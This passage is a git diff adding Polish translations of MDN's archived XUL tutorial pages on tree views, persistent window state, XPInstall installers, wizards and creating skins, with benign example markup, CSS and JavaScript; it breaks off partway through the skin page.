+ this.treeBox.rowCountChanged(idx + 1, -deletecount);
+ }
+ }
+ else {
+ item[2] = true;
+
+ var label = this.visibleData[idx][0];
+ var toinsert = this.childData[label];
+ for (var i = 0; i &lt; toinsert.length; i++) {
+ this.visibleData.splice(idx + i + 1, 0, [toinsert[i], false]);
+ }
+ this.treeBox.rowCountChanged(idx + 1, toinsert.length);
+ }
+ },
+
+ getImageSrc: function(idx, column) {},
+ getProgressMode : function(idx,column) {},
+ getCellValue: function(idx, column) {},
+ cycleHeader: function(col, elem) {},
+ selectionChanged: function() {},
+ cycleCell: function(idx, column) {},
+ performAction: function(action) {},
+ performActionOnCell: function(action, index, column) {},
+ getRowProperties: function(idx, column, prop) {},
+ getCellProperties: function(idx, column, prop) {},
+ getColumnProperties: function(column, element, prop) {},
+};
+
+function init() {
+ document.getElementById("elementList").view = treeView;
+}
+
+]]&gt;&lt;/script&gt;
+
+&lt;/window&gt;
+</pre>
+
+<p>Następnie, zobaczymy <a href="pl/Kurs_XUL/Obiekty_pude%c5%82kowe_drzewa">więcej szczegółów o obiekcie pola drzewa</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Własne_widoki_drzewa" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Obiekty_pudełkowe_drzewa">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/trwałe_dane/index.html b/files/pl/mozilla/tech/xul/kurs_xul/trwałe_dane/index.html
new file mode 100644
index 0000000000..8c7ba56ce2
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/trwałe_dane/index.html
@@ -0,0 +1,54 @@
+---
+title: Trwałe dane
+slug: Mozilla/Tech/XUL/Kurs_XUL/Trwałe_dane
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Persistent_Data
+---
+<p>
+</p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Zaawansowane_reguły" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Dodawanie_arkuszy_stylów">Następny »</a></p>
+</div>
+<p></p><p>Artykuł ten opisuje w jaki sposób zapisać stan okna XUL.
+</p>
+<h3 id="Stan_pami.C4.99ci" name="Stan_pami.C4.99ci"> Stan pamięci </h3>
+<p>Podczas budowy dużej aplikacji, będziemy chcieli posiadać możliwość zapisu niektórych stanów okna poprzez sesje. Na przykład: Okno mogłoby pamiętać, który paski narzędzi są rozwinięte nawet po tym jak użytkownik zamknął okno. </p><p>Jedyną możliwością byłoby wpisanie skryptu do gromadzenia informacji o tym, co chcielibyśmy zapisać i następnie zapisać to w pliku. Jednakże, mogłoby to szkodliwe dla każdej aplikacji. XUL dostarcza dogodnego mechanizmu do zapisu stanu okna. </p><p>Informacje są gromadzone i magazynowane w pliku RDF (localstore.rdf) w tym samym katalogu jak inne ustawienia użytkownika. Będą przetrzymywać informacje o stanie każdego okna. Ta metoda posiada zalety, które współpracują z profilami użytkownika w Mozilli, dzięki czemu każdy użytkownik posiada inne ustawienia. </p><p>XUL pozwala na zapisanie stanu jakiegokolwiek elementu. Zazwyczaj będziemy chcieli zapisać stan pasków narzędzi, pozycję okna i gdzie są lub nie są wyświetlone pewne panele, ale możemy zapisać prawie wszystko. </p>
+<h4 id="Atrybut_persist" name="Atrybut_persist"> Atrybut <code>persist</code> </h4>
+<p>Aby pozwolić na zapisywanie stanu, w prostu dodajemy atrybut <code>persist</code> do elementu, który podtrzymuje wartości, które chcemy zapisać. Atrybut <code><code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code></code> powinien być ustawiony jako lista atrybutów elementu (które chcemy, aby zostały zapisane) rozdzielonych spacją. Element musi posiadać także atrybut <code><code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code></code> w poleceniu do identyfikacji.
+</p><p>Na przykład, aby zapisać rozmiar okna, powinniśmy postępować następująco:
+</p>
+<pre>&lt;window
+ id="someWindow"
+ width="200"
+ height="300"
+ persist="width height"
+ .
+ .
+ .
+</pre>
+<p>Dwa atrybuty elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/window" title="window">window</a></code></code>, czyli <code><code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code></code> i <code><code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code></code> zostaną zapisane. Możemy dodać dodatkowe atrybuty poprzez dodanie spacji i nazwy następnego atrybutu do atrybutu <code><code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code></code>. Atrybut <code><code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code></code> możemy dodać do jakiegokolwiek elementu oraz magazynować w nim jakiekolwiek atrybuty. Możemy stosować niezwykłych wartości, jeśli porządkujemy atrybuty stosując skrypt.
+</p>
+<h4 id="Nasz_przyk.C5.82ad:_Znajd.C5.BA_pliki" name="Nasz_przyk.C5.82ad:_Znajd.C5.BA_pliki"> Nasz przykład: &lt;tt&gt;Znajdź pliki&lt;/tt&gt; </h4>
+<div class="highlight">
+<p>Dodajmy atrybut persist do niektórych elementów w okienku dialogowego &lt;tt&gt;Znajdź pliki&lt;/tt&gt;, aby zapisać pozycje okna. Aby to zrobić, potrzebujemy zmodyfikować okno.
+</p>
+<pre class="eval">&lt;window
+ id="findfile-window"
+ title="Find Files"
+ <span class="highlightred">persist="screenX screenY width height"</span>
+ orient="horizontal"
+ xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;
+</pre>
+<p>Będzie to powodowało, że pozycja x i y okna oraz długość i szerokość okna zostaną zapisane. Możemy to rozszerzać dalej, aby zapisać rozwinięty stan rozdzielacza. Zapisanie bieżącego stanu karty, tak naprawdę nie ma jednak sensu.
+</p><p><span id="Przyk%C5%82ad"><a id="Przyk%C5%82ad"></a><strong>Przykład</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-persist.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-persist.xul">Podgląd</a>
+</p>
+</div>
+<p>Następnie, zobaczymy jak stosuje się <a href="pl/Kurs_XUL/Dodawanie_arkuszy_styl%c3%b3w">arkusze stylów z plikami XUL</a>.
+</p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Zaawansowane_reguły" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Dodawanie_arkuszy_stylów">Następny »</a></p>
+</div>
+<p></p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/tworzenie_instalatora/index.html b/files/pl/mozilla/tech/xul/kurs_xul/tworzenie_instalatora/index.html
new file mode 100644
index 0000000000..c602a24e61
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/tworzenie_instalatora/index.html
@@ -0,0 +1,80 @@
+---
+title: Tworzenie instalatora
+slug: Mozilla/Tech/XUL/Kurs_XUL/Tworzenie_instalatora
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Creating_an_Installer
+---
+<p> </p>
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Nakładki_dla_wielu_pakietów" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Skrypty_instalacyjne">Następny »</a></p>
+</div><p></p>
+<p>W tym artykule opisane jest, jak umieścić aplikację XUL w instalatorze.</p>
+<h3 id="Paczki_XPInstall" name="Paczki_XPInstall">Paczki XPInstall</h3>
+<p>Mozilla dostarcza mechanizm, który może zostać użyty do umieszczenia okien XUL, skryptów, skórek i innych plików w pojedynczych plikach instalatora. Możesz umieścić gdziekolwiek plik instalatora, aby użytkownik mógł go pobrać. Wystarczy prosty skrypt do tego, by paczka została pobrana i zainstalowana. Ten mechanizm nazywa się <a href="pl/XPInstall">XPInstall</a> (Cross Platform Install).</p>
+<p>Instalator XPInstall jest spakowany w pliku JAR. Do pliku JAR można dodawać pliki, które mają być zainstalowane. W dodatku instalator powinien być zawarty w skryptach instalacyjnych (plik install.js), używanych w procesie instalacji. Skrypt ma dostęp do różnych funkcji instalacji, które mogą posłużyć do instalacji plików i komponentów.</p>
+<p>Pliki instalatora JAR zwykle mają rozszerzenie .xpi (wymawiamy zippy), by odróżnić je od innych archiwów. Zwykle instalatory będą używane do instalacji komponentów Mozilli, takich jak motywy, wtyczki i inne paczki.</p>
+<p>Jest kilka następujących po sobie kroków wymaganych do instalacji. Opisane poniżej (krok po kroku):</p>
+<ol>
+ <li>Stwórz stronę WWW, z której użytkownik może pobrać oprogramowanie do instalacji. Strona będzie zawierała wyzwalacz, który jest częścią skryptu, który zainicjuje proces instalacji.</li>
+ <li>Użytkownik otrzyma okno dialogowe z informacją o tym, jaka paczka będzie instalowana. Może być to użyte do uruchomienia wielu instalatorów. W tym przypadku będą one przedstawione na liście. Użytkownik będzie mógł wybrać między kontynuacją lub anulowaniem instalacji.</li>
+ <li>Jeżeli użytkownik zdecyduje się na kontynuację, plik XPI jest pobierany. Pasek postępu jest wyświetlany podczas całego procesu.</li>
+ <li>Plik install.js jest wypakowywany z archiwum skryptu i uruchamiany. Skrypt ten wywoła funkcje instalacyjne, które wskażą, które pliki z archiwum powinny zostać zainstalowane</li>
+ <li>Gdy skrypt się zakończy, instalacja nowej paczki jest gotowa. W przypadku rozbudowanych paczek skrypty będą uruchamiane kolejno po sobie.</li>
+</ol>
+<h3 id="Wyzwalacze_instalatora" name="Wyzwalacze_instalatora">Wyzwalacze instalatora</h3>
+<p>Jak widać na powyższym przykładzie, proces instalacji jest inicjowany przez umieszczony na stornie wyzwalacz instalatora. To pociąga za sobą użycie specjalnego, globalnego obiektu InstallTrigger. Zawiera pewną liczbę metod, które mogą zostać użyte, by zacząć proces instalacji. Możesz użyć obiektu o lokalnej lub zdalnej zawartości, to znaczy pobieranej z jakiegoś miejsca w sieci.</p>
+<p>Stwórzmy przykładowy wyzwalacz instalatora. Pociąga to za sobą użycie funkcji <code>InstallTrigger.install()</code>, która pobiera dwa argumenty, pierwszy to lista paczek do instalacji, a druga jest funkcją wywołania zwrotnego, która będzie wywołana, gdy instalacja dobiegnie końca. Na przykład:</p>
+<pre>function doneFn ( name , result ){
+ alert("The package " + name + " was installed with a result of " + result);
+}
+
+var xpi = new Object();
+xpi["Calendar"] = "calendar.xpi";
+InstallTrigger.install(xpi,doneFn);
+</pre>
+<p>Najpierw definiujemy funkcję zwrotną doneFn(), która będzie wywołana, gdy instalacja będzie kompletna. Możesz oczywiście nazwać funkcję, jak ci się podoba. Funkcja ma dwa argumenty. Pierwszy jest nazwą paczki aktualnie zainstalowanej. Jest to istotne, gdy instalujesz wiele składników. Drugi jest kodem wynikowym. Jeżeli ma wartość 0, to znaczy, że instalacja przebiegła pomyślnie. Jeżeli wartość jest inna niż 0, wartość jest kodem błędu. Funkcja doneFn() pokazuje właśnie okienko z alertem.</p>
+<p>Następnie tworzymy tablice xpi, która będzie przetrzymywać nazwę (Calendar) i adres URL (calendar.xpi) dla instalatora. Robisz tak samo dla każdej paczki, którą chcesz zainstalować. W końcu wywołujemy funkcję instalacyjną.</p>
+<p>Kiedy ta część skryptu zostanie wykonana, calendar.xpi będzie zainstalowane.</p>
+<div class="highlight">
+ <h4 id="Nasz_przyk.C5.82ad:_Okienko_dialogowe_Znajd.C5.BA_pliki" name="Nasz_przyk.C5.82ad:_Okienko_dialogowe_Znajd.C5.BA_pliki">Nasz przykład: Okienko dialogowe &lt;tt&gt;Znajdź pliki&lt;/tt&gt;</h4>
+ <p>Wypróbujmy to z wyszukiwaniem plików:</p>
+ <pre>function doneFn ( name , result ){
+ if (result) alert("An error occured: " + result);
+}
+
+var xpi = new Object();
+xpi["Find Files"] = "findfile.xpi";
+InstallTrigger.install(xpi,doneFn);
+</pre>
+</div>
+<h3 id="Archiwum_XPI" name="Archiwum_XPI">Archiwum XPI</h3>
+<div class="note">
+ <b>Uwaga</b>: Jeśli chcesz stworzyć nową <a href="pl/XULRunner">aplikację XULRunner</a>, <a href="pl/Rozszerzenia">rozszerzenie</a> lub <a href="pl/Motywy">motyw</a>, zobacz <a href="pl/Paczki">Paczki</a>.</div>
+<p>Plik instalatora XPI jest konieczny, by zawrzeć plik zwany install.js, który jest plikiem <a href="pl/JavaScript">JavaScript</a>, wykonywanym podczas instalacji. Pozostałe pliki są plikami do instalacji. Zwykle te pliki umieszczone są w katalogu, wewnątrz archiwum, ale niekoniecznie. Dla plików chrome może mieć strukturę podobną do katalog chrome.</p>
+<p>Często tylko pliki umieszczone w archiwum XPI zostaną zainstalowane, a będą to skrypty instalacji (install.js) i pliki JAR. JAR przechowuje pliki używane przez twoja aplikację. Komponenty dostarczone wraz z Mozillą są przechowywane w ten sam sposób.</p>
+<p>Ponieważ plik XPI jest specjalnym plikiem ZIP, możemy tworzyć i dodawać pliki do niego używając do tego programów archiwizujących.</p>
+<div class="highlight">
+ <h4 id="Nasz_przyk.C5.82ad:_Okienko_dialogowe_Znajd.C5.BA_pliki_2" name="Nasz_przyk.C5.82ad:_Okienko_dialogowe_Znajd.C5.BA_pliki_2">Nasz przykład: Okienko dialogowe &lt;tt&gt;Znajdź pliki&lt;/tt&gt;</h4>
+ <p>Dla okienka dialogowego &lt;tt&gt;Znajdź pliki&lt;/tt&gt; stworzymy strukturę w archiwum następująco:</p>
+ <pre>install.js
+findfile
+ content
+ contents.rdf
+ findfile.xul
+ findfile.js
+ skin
+ contents.rdf
+ findfile.css
+ locale
+ contents.rdf
+ findfile.dtd
+</pre>
+</div>
+<p>Katalog został dodany dla każdego części paczki, z zawartością, motywów i lokalizacji. Plik contents.rdf posiada także ten dodatek, ponieważ będzie potrzebny do rejestracji plików chrome.</p>
+<p>Następne spojrzenie w przyszłość z <a href="pl/Kurs_XUL/Skrypty_instalacyjne">zainstalowanymi skryptami</a>.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Nakładki_dla_wielu_pakietów" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Skrypty_instalacyjne">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/tworzenie_kreatora/index.html b/files/pl/mozilla/tech/xul/kurs_xul/tworzenie_kreatora/index.html
new file mode 100644
index 0000000000..1fef2adb08
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/tworzenie_kreatora/index.html
@@ -0,0 +1,143 @@
+---
+title: Tworzenie kreatora
+slug: Mozilla/Tech/XUL/Kurs_XUL/Tworzenie_kreatora
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Creating_a_Wizard
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Okna_otwierania_i_zapisywania_plików" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Dodatkowe_możliwości_kreatorów">Następny »</a></p>
+</div><p></p>
+
+<p>Wiele aplikacji używa kreatorów aby pomóc użytkownikowi przejść złożone zadania. XUL dostarcza łatwego sposobu na tworzenie kreatorów</p>
+
+<h2 id="Kreator" name="Kreator">Kreator</h2>
+
+<p>Kreator jest specjalnym typem okna dialogowego, które zawiera kilka stron. Na dole tego okna dialogowego pojawiają się przyciski nawigacyjne do przełączania między stronami. Kreatory są zazwyczaj używane do pomocy użytkownikom przy wykonywaniu złożonych zadań. Każda strona zawiera pojedyncze pytanie lub zbiór powiązanych pytań. Po ostatniej stronie jest wykonywane działanie XUL dostarcza elementu wizard który może być użyty do stworzenia kreatora.</p>
+
+<p>Zawartość wewnątrz elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/wizard" title="wizard">wizard</a></code></code> obejmuje całą zawartość każdej strony kreatora. Atrybutu umieszczone w <code><code><a href="/pl/docs/Mozilla/Tech/XUL/wizard" title="wizard">wizard</a></code></code> są używane do sterowania nawigacją kreatora. Kiedy tworzymy kreator, użyjemy znacznika <code><code><a href="/pl/docs/Mozilla/Tech/XUL/wizard" title="wizard">wizard</a></code></code> zamiast znacznika <code><code><a href="/pl/docs/Mozilla/Tech/XUL/window" title="window">window</a></code></code>.</p>
+
+<p><em>Zauważ, że kreatory obecnie pracują poprawnie z chrom URL.</em></p>
+
+<div class="note">Note that wizards currently only work properly from chrome URLs.</div>
+
+<p>Kreator składa się składa się z kilku sekcji, chociaż dokładny rozkład będzie różny dla każdej platformy. Kreator będzie generalnie wyświetlany jak te na platformie użytkownika. Typowy rozkład będzie obejmował tytuł na górze, zbiór przycisków nawigacyjnych na dole i zawartość strony po środku.</p>
+
+<p>Tytuł u góry jest stworzony przy zastosowaniu atrybutu <code><code id="a-title"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/title">title</a></code></code>, podobnie jak robi się to w zwykłym oknie. Przyciski nawigacyjne są tworzone automatycznie. Strony kreatora są tworzone przy użyciu elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/wizardpage" title="wizardpage">wizardpage</a></code></code>. Możesz umieścić jakąkolwiek zawartość jaką chcesz wewnątrz każdego <code><code><a href="/pl/docs/Mozilla/Tech/XUL/wizardpage" title="wizardpage">wizardpage</a></code></code>.</p>
+
+<h3 id="Przyk.C5.82ad_kreatora" name="Przyk.C5.82ad_kreatora">Przykład kreatora</h3>
+
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_wizard_1.xul.txt">Źródła</a></p>
+
+<pre>&lt;?xml version="1.0"?&gt;
+
+&lt;?xml-stylesheet href="chrome://global/skin/" type="text/css"?&gt;
+
+&lt;wizard id="example-window" title="Select a Dog Wizard"
+ xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+
+ &lt;wizardpage&gt;
+ &lt;description&gt;
+ This wizard will help you select the type of dog that is best for you."
+ &lt;/description&gt;
+ &lt;label value="Why do you want a dog?"/&gt;
+ &lt;menulist&gt;
+ &lt;menupopup&gt;
+ &lt;menuitem label="To scare people away"/&gt;
+ &lt;menuitem label="To get rid of a cat"/&gt;
+ &lt;menuitem label="I need a best friend"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/menulist&gt;
+ &lt;/wizardpage&gt;
+
+ &lt;wizardpage description="Dog Details"&gt;
+ &lt;label value="Provide additional details about the dog you would like:"/&gt;
+ &lt;radiogroup&gt;
+ &lt;caption label="Size"/&gt;
+ &lt;radio value="small" label="Small"/&gt;
+ &lt;radio value="large" label="Large"/&gt;
+ &lt;/radiogroup&gt;
+ &lt;radiogroup&gt;
+ &lt;caption label="Gender"/&gt;
+ &lt;radio value="male" label="Male"/&gt;
+ &lt;radio value="female" label="Female"/&gt;
+ &lt;/radiogroup&gt;
+ &lt;/wizardpage&gt;
+
+&lt;/wizard&gt;
+</pre>
+
+<div class="float-right"><img alt="grafika:wizard1.jpg"></div>
+
+<p>Ten kreator ma dwie strony, jedną z menu rozwijanym i drugą ze zbiorem przycisków opcji. Kreator będzie sformatowany automatycznie, z tytułem na górze i zbiorem przycisków na dole. Użytkownik może nawigować pomiędzy stronami kreatora przyciskami Wstecz oraz Dalej. Przyciski te włączają się i wyłączają same w odpowiedniej chwili. Dodatkowo na ostatniej stronie pojawia się przycisk Zakończ. Wszystko to jest automatyczne, więc nie musisz robić niczego aby manipulować stronami.</p>
+
+<p>Atrybut <code><code id="a-description"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/description">description</a></code></code> może opcjonalnie umieścić element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/wizardpage" title="wizardpage">wizardpage</a></code></code> dostarczający podnagłówków dla tej strony. W powyższym przykładzie będzie umieszczony na drugiej stronie, ale nie na pierwszej.</p>
+
+<h2 id="Obs.C5.82uga_zmian_strony" name="Obs.C5.82uga_zmian_strony">Obsługa zmian strony</h2>
+
+<p>Generalnie chcesz zrobić coś po tym jak naciśniesz przycisk Zakończ. Możesz ustawić atrybut <code>onwizardfinish</code> w elemencie <code><code><a href="/pl/docs/Mozilla/Tech/XUL/wizard" title="wizard">wizard</a></code></code> aby to wykonać. Ustaw go w skrypcie który wykonuje jakieś zadanie jakie chcesz a potem zwraca prawdę. Ten skrypt może być używany do zapisania informacji, jaką użytkownik wprowadził podczas pracy z kreatorem.</p>
+
+<pre>&lt;wizard id="example-window" title="Select a Dog Wizard"
+ onwizardfinish="return saveDogInfo();"
+ xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+</pre>
+
+<p>Kiedy użytkownik nacisnął przycisk Zakończ, będzie wywołana funkcja <code>saveDogInfo()</code>, będąca zdefiniowaną w pliku skryptu zapisującym informację jaka została wprowadzona. Jeśli funkcja zwraca <code>true</code>, kreator zostanie zamknięty. Jeśli zwróci <code>false</code>, wtedy kreator się nie zamknie, co może wystąpić, jeśli funkcja <code>saveDogInfo()</code> napotka niepoprawną daną wejściową, na przykład.</p>
+
+<p>Są również powiązane atrybuty <code><code id="a-onwizardback"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onwizardback">onwizardback</a></code></code>, <code><code id="a-onwizardnext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onwizardnext">onwizardnext</a></code></code> i <code><code id="a-onwizardcancel"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onwizardcancel">onwizardcancel</a></code></code>, które są wywoływane, kiedy są naciśnięte przyciski Wstecz, Dalej i Anuluj. Te funkcje są wywoływane bez względu na to jaka strona jest aktualnie wyświetlana.</p>
+
+<p>Aby mieć różny kod wywoływany w zależności od strony na jakiej jesteś, użyj atrybutów <code><code id="a-onpagerewound"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onpagerewound">onpagerewound</a></code></code> lub <code><code id="a-onpageadvanced"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onpageadvanced">onpageadvanced</a></code></code> w elemencie <code><code><a href="/pl/docs/Mozilla/Tech/XUL/wizardpage" title="wizardpage">wizardpage</a></code></code>. Pracują one podobnie do innych funkcji z wyjątkiem tego, że możesz użyć różnego kodu dla każdej strony. Pozwala Ci to sprawdzenie poprawności wprowadzonych danych wejściowych zanim użytkownik będzie kontynuował.</p>
+
+<p>Trzecią metodą jest zastosowanie atrybutów <code><code id="a-onpagehide"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onpagehide">onpagehide</a></code></code> i <code><code id="a-onpageshow"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onpageshow">onpageshow</a></code></code> w elemencie <code><code><a href="/pl/docs/Mozilla/Tech/XUL/wizardpage" title="wizardpage">wizardpage</a></code></code>. Będą one wywoływane kiedy strona jest ukrywana lub pokazywana bez względu na to jaki przycisk naciśnięto (z wyjątkiem, kiedy naciśnięto przycisk Anuluj -- musisz użyć <code><code id="a-onwizardcancel"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onwizardcancel">onwizardcancel</a></code></code>, aby to sprawdzić).</p>
+
+<p>Te trzy metody powinny dostarczyć dosyć elastyczności dla obsługi nawigacji jakiej potrzebujemy. Poniżej mamy podsumowanie funkcji atrybutów, które są wywoływane, kiedy użytkownik naciśnie Dalej, w porządku, w jakim będą sprawdzane. Jeśli tylko jedna zwróci <code>false</code>, nawigacja zostaje przerwana.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <th>Atrybuty</th>
+ <th>Miejsce na znacznik</th>
+ <th>Moment wywoływana</th>
+ </tr>
+ <tr>
+ <td>pagehide</td>
+ <td>wizardpage</td>
+ <td>Wywoływana na stronie, którą użytkownik opuszcza.</td>
+ </tr>
+ <tr>
+ <td>pageadvanced</td>
+ <td>wizardpage</td>
+ <td>Wywoływana na stronie opuszczonej przez użytkownika.</td>
+ </tr>
+ <tr>
+ <td>wizardnext</td>
+ <td>wizard</td>
+ <td>Wywoływana w kreatorze.</td>
+ </tr>
+ <tr>
+ <td>pageshow</td>
+ <td>wizardpage</td>
+ <td>Wywoływana na stronie, którą użytkownik wpisał.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Podobny proces wystąpi dla przycisku Wstecz.</p>
+
+<div class="note">Próbując kiedykolwiek użyć w funkcji zdarzenia, takiej jak pageadvanced, powinniśmy zastosować:
+<p><code>return funcName()</code> zamiast samego wywołania <code>funcName()</code><br>
+ Nie będzie to działało jak oczekiwano np.</p>
+
+<pre class="eval"> &lt;wizardpage pageadvanced='return funcName()'&gt;&lt;/wizardpage&gt;&lt;/code&gt;
+</pre>
+</div>
+
+<p>W kolejnym artykule, zobaczymy kilka <a href="pl/Kurs_XUL/Dodatkowe_mo%c5%bcliwo%c5%9bci_kreator%c3%b3w">dodatkowych możliwości kreatorów</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Okna_otwierania_i_zapisywania_plików" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Dodatkowe_możliwości_kreatorów">Następny »</a></p>
+</div><p></p>
+
+<p> </p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/tworzenie_motywów/index.html b/files/pl/mozilla/tech/xul/kurs_xul/tworzenie_motywów/index.html
new file mode 100644
index 0000000000..437aeb8f98
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/tworzenie_motywów/index.html
@@ -0,0 +1,171 @@
+---
+title: Tworzenie motywów
+slug: Mozilla/Tech/XUL/Kurs_XUL/Tworzenie_motywów
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Creating_a_Skin
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Modyfikacja_domyślnego_motywu" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Lokalizacja">Następny »</a></p>
+</div><p></p>
+
+<p>Artykuł opisuje jak utworzyć prosty motyw. Dla prostoty, tylko zastosujemy to do okna dialogowego <code>Znajdź pliki</code>.</p>
+
+<h2 id="Proste_motywy" name="Proste_motywy">Proste motywy</h2>
+
+<div class="float-right"><img alt="Grafika:cskin1.jpg"></div>
+
+<p>Obrazek poniżej ukazuje aktualne okno dialogowe Znajdź pliki. Utworzymy motyw, który będziemy mogli dodać do niego. Normalnie, motyw znalazłaby zastosowanie do całej aplikacji, ale my się tylko skupimy na oknie dialogowym Znajdź pliki, aby nasza praca stała się łatwiejsza. Z tego powodu, zmienimy tylko plik findfile.css&lt;/code&gt; a nie cały plik &lt;tt&gt;global.css. Rozdział ten zaczynamy posiadając klasyczny motyw. Powinieneś wykonać kopię zapasową plików użytych w oknie dialogowym Znajdź pliki, zanim zaczniesz je edytować.</p>
+
+<p>Będziesz potrzebować do utworzenia motywu pliku findfile.css z ustawionymi danymi motywu podstawowego. Możesz tymczasowo umieścić te wartości w katalogu i zdefiniować go używając dyrektywy w pliku stylów kaskadowych. Możesz modyfikować istniejący plik findfile.css i natychmiast zobaczyć jak wygląda on zmieniony, lub możesz utworzyć zwykły motyw i podać ścieżkę do niego. Aby utworzyć motyw, musisz wykonać:</p>
+
+<ol>
+ <li>Utworzyć katalog, gdzie kolwiek będziesz chciał umieścić pliki motywu.</li>
+ <li>Skopiuj listę plików (condents.rdf) z klasycznej lub nowoczesnego motywu do nowego katalogu.</li>
+ <li>Zmodyfikuj wzmianki w pliku listy, ze zwykłego motywu do twojego motywu. Na przykład, zmień wzmiankę 'classic/1.0' na 'blueswayedshoes/1.0'.</li>
+ <li>Dodaj linię do pliku 'chrom/installed-chrom.txt z następującymi zmianami:<br>
+ <code><a class="external" href="skin,install,url,file:///stuff/blueswayedshoes/" rel="freelink">skin,install,url,file:///stuff/blueswayedshoes/</a></code><br>
+ gdzie ostatnia para wskazuje do twojego nowo utworzonego katalogu. Upewnij się czy dodałeś slash na końcu ścieżki.</li>
+</ol>
+
+<p>Skopiuj oryginalny plik findfile.css do nowego katalogu. Użyjemy go jako bazy dla nowego motywu. Potem możemy kierować do niego używając URL <code>'<a class="external" rel="freelink">chrome://findfile/skin/findfile.css</a>'</code>. Po pierwsze, zdecydujmy, jaki rodzaj zmian chcemy wprowadzić. My zrobimy prostą zmianę kolorów, zmodyfikujemy style przycisków, i zmodyfikujemy trochę rozmieszczenie. Zacznijmy od menu, paska narzędzi i powłoki tabulacji.</p>
+
+<p>Następne reguły stylu dodawane do pliku findfile.css będą powodować zmiany w wyświetlaniu załączonego obrazu.</p>
+
+<pre>window &gt; box {
+ background-color: #0088CC;
+}
+
+menubar,menupopup,toolbar,tabpanels {
+ background-color: lightblue;
+ border-top: 1px solid white;
+ border-bottom: 1px solid #666666;
+ border-left: 1px solid white;
+ border-right: 1px solid #666666;
+}
+
+caption {
+ background-color: lightblue;
+}
+</pre>
+
+<div class="float-right"><img alt="Grafika:Cskin2.jpg"></div>
+
